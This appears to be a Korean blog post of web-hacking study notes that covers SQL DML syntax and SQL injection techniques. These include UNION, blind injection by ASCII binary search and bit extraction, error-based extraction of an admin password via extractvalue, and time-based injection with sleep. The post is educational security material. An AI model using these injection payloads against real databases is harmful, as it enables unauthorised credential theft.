DML(Data Manipulation Language)는 데이터베이스에서 데이터를 조회, 추가, 삭제, 수정하는 구문이다.
SELECT
uid, title, boardcontent
FROM board
WHERE boardcontent like '%abc%'
ORDER BY uid DESC
LIMIT 5
SELECT 구문을 활용한 예시이다.
INSERT
INTO board (title, boardcontent)
VALUES ('title 1', (select upw from users where uid='admin'));
INSERT 구문을 활용한 예시이다.
UPDATE board
SET boardcontent = "update content 2"
WHERE title = 'title 1';
UPDATE 구문을 활용한 예시이다.
DELETE FROM board
WHERE title = 'title 1';
DELETE 구문을 활용한 예시이다.
UNION은 다수의 SELECT 구문의 결과를 결합하는 절이다.
mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW";
UNION 절의 사용 예시이다.
서브 쿼리는 한 쿼리 내의 또 다른 쿼리를 사용하는 것이다.
쿼리 내에서 괄호 안에 구문을 삽입하며, SELECT 구문만 사용할 수 있다.
SELECT 구문의 컬럼 절에서 서브 쿼리를 사용할 때는 단일 행, 단일 컬럼이 반환되어야 한다.
FROM 절에서 사용하는 서브 쿼리는 인라인 뷰라고 하고, 다중 행, 다중 컬럼을 반환할 수 있다.
WHERE 절에서도 마찬가지로 서브 쿼리에서 다중 행 결과를 반환할 수 있다.
Blind SQL Injection을 효율적으로 하기 위해 이진 탐색을 할 수 있다.
아스키에서 출력 가능한 문자의 범위가 32~126이기 때문에
처음에는 79와 비교를 하면 된다.
select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
이진 탐색을 통한 Blind SQL Injection의 예시이다.
mysql에서 숫자를 비트 형태로 변환하는 bin이라는 함수를 제공한다.
mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)
이런 식으로 bin을 이용해 비밀번호의 첫 바이트가 1010000, 문자로는 P임을 알 수 있다.
Error based SQL Injection은 에러를 발생시켜서 데이터베이스와 운영 체제의 정보를 획득한다.
extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출한다.
SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/
이렇게 잘못된 인자를 넣으면 에러 메세지에서 운영체제에 대한 정보를 얻을 수 있다.
mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
extractvalue의 에러메세지로 데이터베이스 정보를 추출할 수도 있다.
Time based SQL Injection은 시간 지연을 이용해 참/거짓 여부를 판단하는 공격 기법이다.
mysql> SELECT IF(1=1, sleep(1), 0);
/*
mysql> SELECT IF(1=1, sleep(1), 0);
+----------------------+
| IF(1=1, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (1.00 sec)
*/
mysql> SELECT IF(1=0, sleep(1), 0);
/*
mysql> SELECT IF(1=0, sleep(1), 0);
+----------------------+
| IF(1=0, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (0.00 sec)
*/
이렇게 sleep 함수를 이용할 수 있다.
연산이 복잡한 heavy 쿼리를 이용할 수도 있다.
'웹해킹' 카테고리의 다른 글
드림핵 error based sql injection 롸업 (0) | 2023.12.02 |
---|---|
드림핵 blind sql injection advanced 롸업 (0) | 2023.12.02 |
드림핵 DOM XSS 롸업 (0) | 2023.11.26 |
드림핵 XS-Search 롸업 (0) | 2023.11.26 |
DOM & Javascript (0) | 2023.11.26 |